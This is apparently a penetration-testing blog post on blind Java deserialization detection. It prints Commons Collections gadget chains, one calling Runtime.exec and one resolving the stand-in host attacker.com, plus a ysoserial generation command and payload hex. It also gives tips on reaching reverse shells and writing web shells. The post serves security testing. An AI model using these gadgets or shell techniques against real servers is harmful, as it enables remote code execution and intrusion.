Due to the above-mentioned limitations of executing commands, detecting these bugs requires some trial and error. Having to send multiple payloads per target makes automation harder. Crafting a universal payload would simplify large scale detection of deserialization bugs. Before introducing our scanning approach, let's define a set of objectives for a more reliable payload.
Objectives
- Make the payload totally agnostic of the operating system such as Windows, Ubuntu, Alpine Linux (Docker), Solaris, AIX, etc.
- Detect occurrences even if the targeted web container is running with a security manager or is sandboxed
- Support the most common JVM version 1.6+ and maybe 1.5 *
Example Scenario
The GoSecure penetration testing team has encountered few cases where modification of current gadgets was needed. For example, an old instance of JBoss was found (5.1.0 GA - EOL support) with JMXInvokerServlet exposed. Based on the version, it is expected to be vulnerable. Surprisingly, all known exploits tested against this instance of JBoss failed.The failure of those exploits could mean two things: the gadget is not functional on this specific environment or the system was patched (as this is the expected behavior if the vulnerable Commons-Collection jar is replaced manually). Other known gadgets were tested without success. However, a simple payload that does a DNS query confirmed that the system is indeed vulnerable. Based on this assertion, it is now useful to build an alternative gadget that avoids the command execution API.
Creating a DNS Gadget
To confirm exploitability, we are going to modify one of the existing gadgets provided by YSoSerial. We are going to replace the command execution payload with a simple code that triggers a DNS resolution.One of the most common payloads used is Commons Collection (no pun intended). The transformer chain below will trigger the following code:
Transformer chain (Command execution payload):
final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };Code triggered:
((Runtime) Runtime.class.getMethod("getRuntime", new Class[0]).invoke(new Class[]{ Object.class, Object.class},new Object[0])).exec("echo your command here");
We can't use the
nslookup
command to trigger the DNS resolution, as we want to avoid using the command execution API, we will use Java API directly. The only special requirement is that the code sequence must use a telescopic API or in other words, no temporary variable can be used.Transformer chain (DNS resolution payload):
final Transformer[] transformers = new Transformer[] { new ConstantTransformer(new URL("http://resolve-me-aaaa.attacker.com")), new InvokerTransformer("openConnection", new Class[] { }, new Object[] {}), new InvokerTransformer("getInputStream", new Class[] { }, new Object[] {}), new InvokerTransformer("read", new Class[] {}, new Object[] {}) };Code triggered:
The transformer chain is equivalent to the following Java code. It will try to initiate an HTTP connection but the key element here is to trigger a DNS resolution.
new URL("http://resolve-me-aaaa.attacker.com").openConnection().getInputStream().read();
Confirming vulnerability
We can now generate a gadget that will resolve a unique hostname. The unique name is a way to track if the server has done any deserialization. The server may evaluate the payload more than once or with a delay. Using unique hostnames avoids confusion especially when scanning multiple hosts. The complete PoC is available on our fork of ysoserial.$ java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections1Dns http://resolve-me-aaaa.attacker.com | xxd 00000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl 00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A 00000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat 00000030: 696f 6e48 616e 646c 6572 55ca f50f 15cb ionHandlerU..... 00000040: 7ea5 0200 024c 000c 6d65 6d62 6572 5661 ~....L..memberVa 00000050: 6c75 6573 7400 0f4c 6a61 7661 2f75 7469 luest..Ljava/uti 00000060: 6c2f 4d61 703b 4c00 0474 7970 6574 0011 l/Map;L..typet.. 00000070: 4c6a 6176 612f 6c61 6e67 2f43 6c61 7373 Ljava/lang/Class 00000080: 3b78 7073 7d00 0000 0100 0d6a 6176 612e ;xps}......java. 00000090: 7574 696c 2e4d 6170 7872 0017 6a61 7661 util.Mapxr..java 000000a0: 2e6c 616e 672e 7265 666c 6563 742e 5072 .lang.reflect.Pr 000000b0: 6f78 79e1 27da 20cc 1043 cb02 0001 4c00 oxy.'. ..C....L. 000000c0: 0168 7400 254c 6a61 7661 2f6c 616e 672f .ht.%Ljava/lang/ 000000d0: 7265 666c 6563 742f 496e 766f 6361 7469 reflect/Invocati 000000e0: 6f6e 4861 6e64 6c65 723b 7870 7371 007e onHandler;xpsq.~ [...]If a DNS query is received, the vulnerability is confirmed. To record the DNS queries, DNS chef, Burp Collaborator or tcpdump can be used. In the sample below, we can see DNS queries reaching a test server running with DNSChef.
# python dnschef.py -q --fakeip 127.0.0.1 -i 0.0.0.0 [*] DNSChef started on interface: 0.0.0.0 [*] Using the following nameservers: 8.8.8.8 [*] Cooking all A replies to point to 127.0.0.1 [12:16:05] 74.125.X.X: cooking the response of type 'A' for resolve-me-aaaa.attacker.com to 127.0.0.1 [12:16:05] 192.221.X.X: cooking the response of type 'A' for resolve-me-aaaa.attacker.com to 127.0.0.1
Visual representation of a asynchronous scan |
Additional considerations
Once the vulnerability is confirmed, the pentester may need to do some trial and error of commands to execute in order to get a shell. Here are a few useful tips getting that working:- Make sure you have tested various reverse shell commands (see Reverse Shell Cheat-Sheet)
- Common collection payload may fail on certain JVM (IBM J9 for example). Mathias Kaiser made a payload specifically to support less common JVM: see CommonsCollections6.
- If a security manager is enforced, you may need to craft a custom gadget. You can use DEADCODE's blog article to understand the general recipe of transformer chain. One prevalent approach is to find the path to the web root directory and write a web shell that could be later executed. A sample gadget is available on this GoSecure repository. Again, this is only needed if the gadget is executed inside a security manager that blocks command execution.
Demonstration
Here is a short demonstration of the tool Break Fast Serial. It demonstrate the scanning of a single web server. The vulnerability is confirmed through DNS exfiltration. The tool also support a scanning mode to cover multiple IPs and ports. The scanner will detect vulnerable versions of JBoss, Weblogic and Jenkins. For more information, refer to the manual.Conclusion
DNS exfiltration has three benefits:- It improves detection of deserialization vulnerabilities
- It facilitates automated scanning of multiple hosts
- It will identify vulnerable servers even in strictly firewalled environments
The current article focuses on CommonsCollection but the API used to build the gadget is reusable in other payloads. The same principle can also be used to detect vulnerabilities such as the recent Struts vulnerability.
UPDATE : A more elegant and simpler DNS gadget was created by Gabriel Lawrence. For more information, see Gabriel's Blog and the code on the ysoerial.
References
- AppSecCali 2015: Marshalling Pickles: Original research regarding the Common Collection Gadget
- Blind Java Deserialization: Commons Gadgets : Detailed article on the Common Collection transformer chain
- Blind-Java-Deserialization-Part-II: Blind time-based exfiltration using a gadget
- Triggering a DNS lookup using Java Deserialization : DNS gadget created by Gabriel Lawrence.
This post was originally posted on GoSecure's blog
No comments:
Post a Comment